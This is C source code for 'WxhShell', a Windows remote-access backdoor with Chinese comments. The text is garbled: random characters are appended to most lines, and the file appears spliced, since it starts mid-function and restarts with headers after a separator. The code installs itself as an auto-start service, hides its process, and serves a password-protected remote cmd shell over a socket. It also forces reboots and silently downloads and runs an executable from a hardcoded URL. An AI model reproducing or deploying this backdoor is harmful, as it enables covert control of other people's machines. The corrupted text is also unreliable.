    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); h+=xG|1R[5  
    if(Boot(SHUTDOWN)) tj$&89  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tIn dve  
    else { B( r~Nvc  
    closesocket(wsh); go >*n\  
    ExitThread(0); b* k=  
    } _/(DEF+G  
    break; ,' VT75  
    } 1Tl^mS~k  
  // 获取shell PxfWO1S(  
  case 's': { VBnD:w"z  
    CmdShell(wsh); (#I$4Px{  
    closesocket(wsh); KmS$CFsGL  
    ExitThread(0); (mbC! !>  
    break; UdO(9Jc5^  
  } 9<0TF+}>  
  // 退出 0<tce  
  case 'x': { ^{Wx\+*!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); hWc`4xdl  
    CloseIt(wsh); cHo@F!{o=  
    break; ?+Gc. lU  
    } 1<|\df.  
  // 离开 -KV)1kET  
  case 'q': { sNB*S{   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); vd<r}3i*  
    closesocket(wsh); X!H[/b:1O  
    WSACleanup(); @jh\yjrW  
    exit(1); ]JDKoA{S0  
    break; <14,xYpE  
        } [0c7fH`8V  
  } wHx@&Tp  
  } 5rp,xk!  
oKyl2jg+,  
  // 提示信息 (h {"/sR  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S $j"'K  
} 0\tV@ 6p2=  
  } % !P^se  
D+4oV6}~  
  return; Yr!@pHy  
} )R %>g-dw  
zXX =WH  
// shell模块句柄 kXW5bR  
int CmdShell(SOCKET sock) CE,0@%6F*  
{ 78M%[7Cq<i  
STARTUPINFO si; .X1xpi%  
ZeroMemory(&si,sizeof(si)); [A jY ~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; PmjN!/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; C2e.RTxc  
PROCESS_INFORMATION ProcessInfo; ZG(.Q:1  
char cmdline[]="cmd"; <TN+-)H6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *2,tGZ  
  return 0; 3R|Ub G`  
} n[[2<s*YJ  
Y@(izC&h  
// 自身启动模式 ! 2=m |,  
int StartFromService(void) ]?p 9)d=%<  
{ MS5X#B  
typedef struct Yt]Y(  
{ d.e_\]o<@  
  DWORD ExitStatus; N[=c|frho  
  DWORD PebBaseAddress; K&"ZZFd_  
  DWORD AffinityMask; itYTV?bd  
  DWORD BasePriority; ]v2%hX  
  ULONG UniqueProcessId; \9t/*%:  
  ULONG InheritedFromUniqueProcessId; idzc4jR6BT  
}   PROCESS_BASIC_INFORMATION; fEJF3<UF&  
y':JUwUN  
PROCNTQSIP NtQueryInformationProcess; E+Eug{+  
WRCf [5  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; a~*wZJ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Dpb prT7_  
_ASyGmO{  
  HANDLE             hProcess; .n\j<Kq  
  PROCESS_BASIC_INFORMATION pbi; 6 uS;H]nd<  
,vDSY N6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /Fj*sS8  
  if(NULL == hInst ) return 0; Z Jgy!)1n  
'_q&~M{  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); t~v_k\` {  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); k,,Bf-?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); D[p_uDIz  
l=&\luNz  
  if (!NtQueryInformationProcess) return 0; ZrNBkfe :  
Cfr2 ~w  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); F:~k4uTW\b  
  if(!hProcess) return 0; b?U2g?lN:  
[iXkv\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 61SbBJ6[  
=w;~1i% .k  
  CloseHandle(hProcess); V=d~}PJ>  
~'#yH#o  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); M o?y4X  
if(hProcess==NULL) return 0; OC6v%@xa  
oUd R,;h9  
HMODULE hMod; vJ?j#Ch  
char procName[255]; r91b]m3xL  
unsigned long cbNeeded; [gaB}aLn  
g0-~ %A,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <Z j>}  
w# R0QF  
  CloseHandle(hProcess); GT 5J`  
b3.}m[]  
if(strstr(procName,"services")) return 1; // 以服务启动 ?Gnx!3Q  
Ud:;kI%Vj  
  return 0; // 注册表启动 ThiM6Hb  
} U[O7}Nsb"  
){<qp  
// 主模块 cI\&&<>SlG  
int StartWxhshell(LPSTR lpCmdLine) _{2/QP}  
{ \o}=ob  
  SOCKET wsl; =/m$ayG  
BOOL val=TRUE; 'wA4yJ<  
  int port=0; 5~FXy{ZIH  
  struct sockaddr_in door; /B!Ik:c}  
?s5/  
  if(wscfg.ws_autoins) Install(); .+A2\F.^  
o?| ]ciY  
port=atoi(lpCmdLine); g1{2E<b 5  
rM0Idc.$&&  
if(port<=0) port=wscfg.ws_port; nV/;yl4e{  
m;cgX#k5  
  WSADATA data; *@eZt*_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; bH}?DMq]O  
w 6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   dZkj|Ua~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); P`L, eYc  
  door.sin_family = AF_INET; ePo :::  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); LEd@""h  
  door.sin_port = htons(port); _ SJ Fuv/  
G-[.BWQ   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { q uL+UFuM  
closesocket(wsl); /5Tp)h|  
return 1; PiJ >gDx  
} \C kb:  
M@=VIrX,m  
  if(listen(wsl,2) == INVALID_SOCKET) { _/z3QG{Ea^  
closesocket(wsl); Hrg -5_  
return 1; 19;Pjo8  
} ==npFjB  
  Wxhshell(wsl); BIxjY!!"  
  WSACleanup(); m\f}?t  
Ksff]##H  
return 0; rqTsKrLe  
IFbN ]N0  
} @MxB d,P  
&PUn,9 Rm  
// 以NT服务方式启动 M*Ri1   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) wBz5_ OFVw  
{ m't8\fo^w  
DWORD   status = 0; rm%MQmF  
  DWORD   specificError = 0xfffffff; 534DAhpD=.  
ZC97Z sE  
  serviceStatus.dwServiceType     = SERVICE_WIN32; cD'|zH]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8,L)=3m-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2CRgOFR  
  serviceStatus.dwWin32ExitCode     = 0; 7OD2/{]5  
  serviceStatus.dwServiceSpecificExitCode = 0; &?*H`5#?G  
  serviceStatus.dwCheckPoint       = 0; i#I7ncX  
  serviceStatus.dwWaitHint       = 0; hQ}y(2A.XI  
TG6E^3a P  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); LAH.PcjPa  
  if (hServiceStatusHandle==0) return; 9'0v]ar  
!'(QF9%Q  
status = GetLastError(); -eFq^KP2  
  if (status!=NO_ERROR) ebiOR1)sN  
{ R6`,}<A]@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4tlLh`-8  
    serviceStatus.dwCheckPoint       = 0; $bF3 v=u`  
    serviceStatus.dwWaitHint       = 0; )sLXtV)nm6  
    serviceStatus.dwWin32ExitCode     = status; u}|+p+  
    serviceStatus.dwServiceSpecificExitCode = specificError; {-l:F2i  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3M"eAK([  
    return; j/, I)Za  
  } h| N!U/(U  
W[qQDn!r  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; C zxF  
  serviceStatus.dwCheckPoint       = 0; y Dw#V`Y^M  
  serviceStatus.dwWaitHint       = 0; ;:aCZ8e  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *n_7~ZX  
} J0 UF(  
O^r,H,3S  
// 处理NT服务事件,比如:启动、停止 j[|mC;y.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~m&q@ms&  
{ /-Y.A<ieN8  
switch(fdwControl) g]9A?#GyE  
{ /3o@I5  
case SERVICE_CONTROL_STOP: aA=7x&z@  
  serviceStatus.dwWin32ExitCode = 0; Gg3< }(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; J_d!` Hhe  
  serviceStatus.dwCheckPoint   = 0; 8B;HMD  
  serviceStatus.dwWaitHint     = 0; )|B3TjH C  
  { kqZ+e/o>O9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~IQw?a.E  
  } ZDr&Alp)o  
  return; K9c5HuGy  
case SERVICE_CONTROL_PAUSE: bj_oA i  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -5GRit1q?  
  break; 7;SI=  
case SERVICE_CONTROL_CONTINUE: Rz"gPU4;`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .Lp\Jyegs  
  break; *eAzk2  
case SERVICE_CONTROL_INTERROGATE: .$-GGvN]  
  break; C/YjMYwKgv  
}; kmM- >v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Cn.x:I@r  
} -GT&46hX  
sW0<f& 3  
// 标准应用程序主函数 '\R/-.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) i| CAN,'  
{ OFn#C!  
wqA7_ -  
// 获取操作系统版本 tB<|7  
OsIsNt=GetOsVer(); .iZo/_  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  4_d'Uh&]  
6.k>J{GG  
  // 从命令行安装 DwI X\9  
  if(strpbrk(lpCmdLine,"iI")) Install(); TSUT3'&~p  
+t*Ks_V,*  
  // 下载执行文件 z<,-:=BC"  
if(wscfg.ws_downexe) { Qw.j  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) uol EX+  
  WinExec(wscfg.ws_filenam,SW_HIDE); E\vW>g*W  
} />dYkIv  
xnPi'?A]  
if(!OsIsNt) { W6jdS;3  
// 如果时win9x,隐藏进程并且设置为注册表启动 ehyCAp0oI  
HideProc(); ,m1F<Pdts  
StartWxhshell(lpCmdLine); M6H#Y2!ZbC  
} Y(6p&I  
else 9K4Jg]?  
  if(StartFromService()) V2IurDE  
  // 以服务方式启动 p>= b|Qy|  
  StartServiceCtrlDispatcher(DispatchTable); X*e<g=  
else ;0-Y),  
  // 普通方式启动 3oMhsQz~z  
  StartWxhshell(lpCmdLine); dr]Pns9  
hYSf;cG}A  
return 0; `l + pk%  
} st wxF?\NS  
1hW"#>f7  
M7\yEi"*  
E[2xo/H  
=========================================== l G $s(  
#SqU>R  
1[4 0\sM  
PEPf=sm  
v-!^a_3Ui  
' ;3#t(J;  
" !b8.XGo  
Q[MWzsx  
#include <stdio.h> h9I vuv'  
#include <string.h> ><H*T{ Pg  
#include <windows.h> UflS`  
#include <winsock2.h> .?)gn]#  
#include <winsvc.h> 6 B*,Mu4A  
#include <urlmon.h> mH /9J  
Z^O_7I<5E  
#pragma comment (lib, "Ws2_32.lib") wOF";0EN  
#pragma comment (lib, "urlmon.lib") rLp (}^  
F-PQ`@ZNW  
#define MAX_USER   100 // 最大客户端连接数 vY2^*3\<D  
#define BUF_SOCK   200 // sock buffer m.w.h^f$&  
#define KEY_BUFF   255 // 输入 buffer y8$I=  
Sq[LwJ  
#define REBOOT     0   // 重启 9_xJT^10  
#define SHUTDOWN   1   // 关机 J1"16Uu  
wAF<_NG#  
#define DEF_PORT   5000 // 监听端口 WnL7 A:sZ  
uO5y{O2W  
#define REG_LEN     16   // 注册表键长度 l'twy$V4|~  
#define SVC_LEN     80   // NT服务名长度 f8S!FGiNc  
1`)e}p&  
// 从dll定义API +{au$v}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); VRD:PVz  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]La~Bh6;m  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); '|@?R|i0  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $$e"[g  
lky5%H  
// wxhshell配置信息 M6XpauR-  
struct WSCFG { \`Ow)t:  
  int ws_port;         // 监听端口 T':} p2}w+  
  char ws_passstr[REG_LEN]; // 口令 PIM4c  
  int ws_autoins;       // 安装标记, 1=yes 0=no jP}Ix8vc=  
  char ws_regname[REG_LEN]; // 注册表键名 DE!c+s_g4  
  char ws_svcname[REG_LEN]; // 服务名 +jb<=ERV[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 L&hv:+3N  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 AYGe`{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Mq52B_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \^x`GsVy  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" E-Y4TBZ*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Pzte!]B  
Sc9}W U  
}; bPVQ-  
v/x~L$[  
// default Wxhshell configuration R3hyz~\x&  
struct WSCFG wscfg={DEF_PORT, PauF)p  
    "xuhuanlingzhe", |OBh:d_B]  
    1, DC(u,iW%6  
    "Wxhshell",  B6.9hf  
    "Wxhshell", \k.W F|~  
            "WxhShell Service", KZGy&u >`  
    "Wrsky Windows CmdShell Service", rmJ`^6V  
    "Please Input Your Password: ", _*fOn@Vwo  
  1, $L W8 vo7  
  "http://www.wrsky.com/wxhshell.exe", I6Ga'5bV  
  "Wxhshell.exe" y&6 pc   
    }; (D2N_l(`<  
.O6(QI*  
// 消息定义模块 s2"<<P[q'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Ni>!b6 Z`[  
char *msg_ws_prompt="\n\r? for help\n\r#>"; w@x||K=Z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; v,d'SR.  
char *msg_ws_ext="\n\rExit."; d-`z1'  
char *msg_ws_end="\n\rQuit."; :: s k)  
char *msg_ws_boot="\n\rReboot..."; 0SV4p.  
char *msg_ws_poff="\n\rShutdown..."; #Q@~ TW  
char *msg_ws_down="\n\rSave to "; 7mA:~-.u  
r<5i  
char *msg_ws_err="\n\rErr!"; Y|cj&<o  
char *msg_ws_ok="\n\rOK!"; gN .n _!  
47!k!cHa  
char ExeFile[MAX_PATH]; uU/'oZ?  
int nUser = 0; E7  P'}  
HANDLE handles[MAX_USER]; d~#:t~ $,  
int OsIsNt; J*4T| #0  
A,4Z{f83  
SERVICE_STATUS       serviceStatus; -+y3~^EYm,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `J %35  
RC!9@H5S#  
// 函数声明 cs?IzIQ  
int Install(void); "f:_(np,  
int Uninstall(void); ',]^Qu`a  
int DownloadFile(char *sURL, SOCKET wsh); zg$NrI&  
int Boot(int flag); /" @cv{  
void HideProc(void); =F09@C,  
int GetOsVer(void); }#2I/dn  
int Wxhshell(SOCKET wsl); J+m1d\lBu  
void TalkWithClient(void *cs); b}!T!IP}  
int CmdShell(SOCKET sock); PO*0jO;%  
int StartFromService(void); \.YJs"<3  
int StartWxhshell(LPSTR lpCmdLine); oAgU rl;R  
I ;F\'P)e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); s[#_sR`y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); P c'\  
v)JS4KS  
// 数据结构和表定义 !q 9PO  
SERVICE_TABLE_ENTRY DispatchTable[] = RV),E:?  
{ xwojjiV  
{wscfg.ws_svcname, NTServiceMain}, B^Hh rz!  
{NULL, NULL} xu.TS  
}; O% 8>siU  
@3`Pq2<  
// 自我安装 %xdyG Al:  
int Install(void) WHcw5_3#  
{ v;(k7  
  char svExeFile[MAX_PATH]; W1ql[DqE{  
  HKEY key; bMGXx>x  
  strcpy(svExeFile,ExeFile); yH0vESgv  
S]?I7_  
// 如果是win9x系统,修改注册表设为自启动 gwDVWhq  
if(!OsIsNt) { m8Rt>DY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $Y[C A.F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); eC`G0.op  
  RegCloseKey(key); k,61Va  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >[S\NAE>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $:D\yZ,  
  RegCloseKey(key); >,x``-  
  return 0; lJt?0;gn  
    } WmuYHEU  
  } Bi7&yS5V  
} QBjvbWoIG(  
else { B z? (?fyd  
{bNVNG^  
// 如果是NT以上系统,安装为系统服务 -'T^gEd) c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); C?g<P0h  
if (schSCManager!=0) -nY_.fp>  
{ EZ[e  a<  
  SC_HANDLE schService = CreateService P98g2ak  
  ( 8;O/x  
  schSCManager, "] ]aF1  
  wscfg.ws_svcname, mXI'=Vo!S  
  wscfg.ws_svcdisp, 6L3i   
  SERVICE_ALL_ACCESS, NXOcsdcZu  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >aT~ G!y  
  SERVICE_AUTO_START, JZ/T:Hsh4  
  SERVICE_ERROR_NORMAL, *fI\|%K  
  svExeFile, M/kBAxNIC|  
  NULL, iUlSRfrC$#  
  NULL, q^6l`JJ  
  NULL, 8|tnhA]~  
  NULL, Esf\Bo"  
  NULL T=':$(t  
  ); gw<u dhk  
  if (schService!=0) P>'29$1'  
  { nZ[`Yrq)0  
  CloseServiceHandle(schService); 4xgfm.9I^  
  CloseServiceHandle(schSCManager); vw :&c.zd  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !ezy  v`  
  strcat(svExeFile,wscfg.ws_svcname); VyWzb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { n$<n Yr`X  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6foiN W+  
  RegCloseKey(key); {Gw{W&<  
  return 0; t(UdV  
    } *9 (E0"  
  } 3-BC4y/  
  CloseServiceHandle(schSCManager); =d/$B!t{  
} S}6xkX  
} T }Wse{  
9JO1O:W  
return 1; $Y8iT<nP  
} 7#C3E$gn?  
,%U\@*6=  
// 自我卸载 KxDfPd+j[  
int Uninstall(void) '?T<o  
{ 6 2t 9SY  
  HKEY key; !J[!i"e  
wI?AZd;`'  
if(!OsIsNt) { :VE0eJ]J6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { oo|Nu+  
  RegDeleteValue(key,wscfg.ws_regname); K+`deH_d  
  RegCloseKey(key); } wx(P3BHD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Mg&<W#$K  
  RegDeleteValue(key,wscfg.ws_regname); fzUG1|$e  
  RegCloseKey(key); Nb)Mh  
  return 0; ( ; _AP.  
  } " Rn@yZV  
} UQjYWXvi  
} pW_mS|  
else { *A0*.>@N  
izR#XeBm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); nI/kX^Pd  
if (schSCManager!=0) (+(bw4V/  
{ S7j U:CLJ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \zhCGDm1_  
  if (schService!=0) ;f /2u  
  { UTqKL*p523  
  if(DeleteService(schService)!=0) { 1z_1Hl  
  CloseServiceHandle(schService); e^UUR-K%  
  CloseServiceHandle(schSCManager); 9r ](/"=f  
  return 0; 'rrnTd c  
  } ysFp$!9Ux  
  CloseServiceHandle(schService); VP*B<u  
  } kNX8y--  
  CloseServiceHandle(schSCManager); YMj iJTl  
} qyjVB/ko  
} =]o2{d  
~Xc1y!"9*  
return 1; j|@8VxZ  
} ,r;E[k@  
 p]jG ,S  
// 从指定url下载文件 K4b2)8  
int DownloadFile(char *sURL, SOCKET wsh) @{ L|&Mk!  
{ n<ecVFft  
  HRESULT hr; E5\>mf ,;u  
char seps[]= "/"; L;fz7?_j  
char *token; =)J )xH!N  
char *file; (/7cXd@\6  
char myURL[MAX_PATH]; YD#L@:&gv  
char myFILE[MAX_PATH]; ?O0,)hro  
~J >Jd  
strcpy(myURL,sURL); (^m~UN2@~m  
  token=strtok(myURL,seps); 9H2mA$2jnE  
  while(token!=NULL) E,QD6<?[  
  { AR c  
    file=token; %!R\-Vej  
  token=strtok(NULL,seps); % -.V6}V  
  } ?gCP"~  
v)nBp\fjxp  
GetCurrentDirectory(MAX_PATH,myFILE); %&eBkN!T  
strcat(myFILE, "\\"); +NoVe#  
strcat(myFILE, file); 1*:BOoYx  
  send(wsh,myFILE,strlen(myFILE),0); SVPksr  
send(wsh,"...",3,0); 7wHd*{^9N  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); h~ q5GhY!9  
  if(hr==S_OK) qA t#0  
return 0; CHDt^(oa!B  
else uCgJ F@  
return 1; be [E^%  
>AWWwq -  
} @*WrHoa2N  
<2wC)l3j*  
// 系统电源模块 f DPLB[  
int Boot(int flag) .f|)od[  
{ QiaBZAol  
  HANDLE hToken; ktM7L{Nz  
  TOKEN_PRIVILEGES tkp; tUGF8?& G  
J\Tu=f)  
  if(OsIsNt) { vnqLcNB H  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .-1'#Z1T  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4}0Ry\ 6  
    tkp.PrivilegeCount = 1; %0vWyU:K9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Ac\e>N  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); r+tHVh  
if(flag==REBOOT) { [buLo*C4:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +kq+x6&  
  return 0; `2y?(BJp  
} ~6{U^3  
else { gCbS$Pw  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6Q_ZP#oAV  
  return 0; o'? WWJK6w  
} )ib$*dmUP  
  } Su<>UsdUC  
  else { VdGpreRPC  
if(flag==REBOOT) { [4+I1UR`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #Vy:6O  
  return 0; HT6$|j  
} p9&gKIO_m  
else { O"wo&5b_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) HIda%D  
  return 0; ?>My&yB  
} AmrVxn4  
} H% FP!03  
9{Igw"9ck  
return 1; 3il$V78|  
} #Fkp6`Q$x  
<&tdyAT?&  
// win9x进程隐藏模块 E0.o/3Gw6  
void HideProc(void) -*qoF(/U  
{ 9}+X#ma.Nc  
27MwZz  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); bnH:|-?q  
  if ( hKernel != NULL ) z Ece>=C  
  { }taG/kE62  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7@&kPh}PG  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^_BjO(b'e  
    FreeLibrary(hKernel); A>)Ced!  
  } RQ4+EW 1G  
|gU)6}V@  
return; CD4@0Z+  
} EtQ:x$S_  
24\^{3nOK  
// 获取操作系统版本 cI-@nV  
int GetOsVer(void) 1! 5VWF0  
{ #VsS C1  
  OSVERSIONINFO winfo; JD9=gBN\?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); N;4wbUPL7h  
  GetVersionEx(&winfo); @S 0mNA  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) T/:6Z  
  return 1; H(Y1%@  
  else v`U;.W  
  return 0; -1w^z`;2h  
} ? U =Mdw  
,o}CBB! k  
// 客户端句柄模块 AuY*x;~  
int Wxhshell(SOCKET wsl) \uZ1Sl  
{ EXR6Vb,  
  SOCKET wsh; u(8dsg R  
  struct sockaddr_in client; Hk$do`H-=Y  
  DWORD myID; UK)wV  
Uy?X-"UR  
  while(nUser<MAX_USER) k7]4TIUD*  
{ g!Ui|]BI9  
  int nSize=sizeof(client); # hw;aQ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (Dn1Eov  
  if(wsh==INVALID_SOCKET) return 1; 0 c ]]  
  `#l1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); YD0j&@.  
if(handles[nUser]==0) OyG2Ks"H  
  closesocket(wsh); En4!-pWHQ  
else O\h%ZLjfO  
  nUser++; #"C!-kS'=  
  } +o35${  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); GGU wS  
)S}.QrG  
  return 0; Q]OR0-6<.  
} WkV0,_(P  
6XnUs1O  
// 关闭 socket o\fPZ`p-m~  
void CloseIt(SOCKET wsh) RFq=`/>dG  
{ ;@O8y\@  
closesocket(wsh); Ml/K~H tN  
nUser--; r4 qs!(  
ExitThread(0); QHd|cg  
} =F_j})O5  
Ox@$ }  
// 客户端请求句柄 uc LDl  
void TalkWithClient(void *cs) \\{78WDA  
{ w }8=sw  
l9 n$cv^  
  SOCKET wsh=(SOCKET)cs; 09i7 7  
  char pwd[SVC_LEN]; Vddod  
  char cmd[KEY_BUFF]; XANJA  
char chr[1]; sXYXBX[  
int i,j; 5C9 .h:c4y  
rS+ >oP}  
  while (nUser < MAX_USER) { z?GtC{L9  
'a$/ !~X  
if(wscfg.ws_passstr) { |)mUO:*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XW+-E^d  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X|L_}Q7  
  //ZeroMemory(pwd,KEY_BUFF); Z% ]LZ/O8  
      i=0; w^:@g~  
  while(i<SVC_LEN) { 5i'KGL  
"2 D{X  
  // 设置超时 iz+,,UH  
  fd_set FdRead; }4Q3S1|U  
  struct timeval TimeOut; Z1p%6f`  
  FD_ZERO(&FdRead); 5!jt^i]O  
  FD_SET(wsh,&FdRead); D0L s~qr  
  TimeOut.tv_sec=8; Ga` 8oY+~  
  TimeOut.tv_usec=0; Fxn=+Xgg  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); gx2v(1?S  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); AjsjYThV  
CY"i|s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JB!*{{  
  pwd=chr[0]; xXJzE|)1h!  
  if(chr[0]==0xd || chr[0]==0xa) { .~a8\6t  
  pwd=0; `W7;-  
  break; (l/i#  
  } }a%Wu 7D  
  i++; kmt+E'^]  
    } Kr`.q:0GK  
ca[*#xiJ  
  // 如果是非法用户,关闭 socket fT=ZiHJ3Gu  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); I/gfsyfA  
} 7 ,Q7`}gBf  
|aj]]l[@S  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); H~:g =Zw  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V'9OGn2v  
slLTZ]  
while(1) { e.(RhajB  
~8'HX*B]z  
  ZeroMemory(cmd,KEY_BUFF); |1Nz8Vr.  
^5+7D1>W%  
      // 自动支持客户端 telnet标准   ANR611-a  
  j=0; )P|/<>z  
  while(j<KEY_BUFF) { V1A7hRjxvG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yKmHTjX=  
  cmd[j]=chr[0]; #XNURj  
  if(chr[0]==0xa || chr[0]==0xd) { "*KOU2}C  
  cmd[j]=0; kn WI7  
  break; d8WEsQ+)A  
  } & fnfuU$   
  j++; RG/P]  
    } Z7Nhb{  
VotI5O $  
  // 下载文件 N8!e(Y K_  
  if(strstr(cmd,"http://")) { 7j"B-k#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); FH;)5GGnv  
  if(DownloadFile(cmd,wsh)) u@zT~\ h*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "T}HH  
  else M[e{(iQ:  
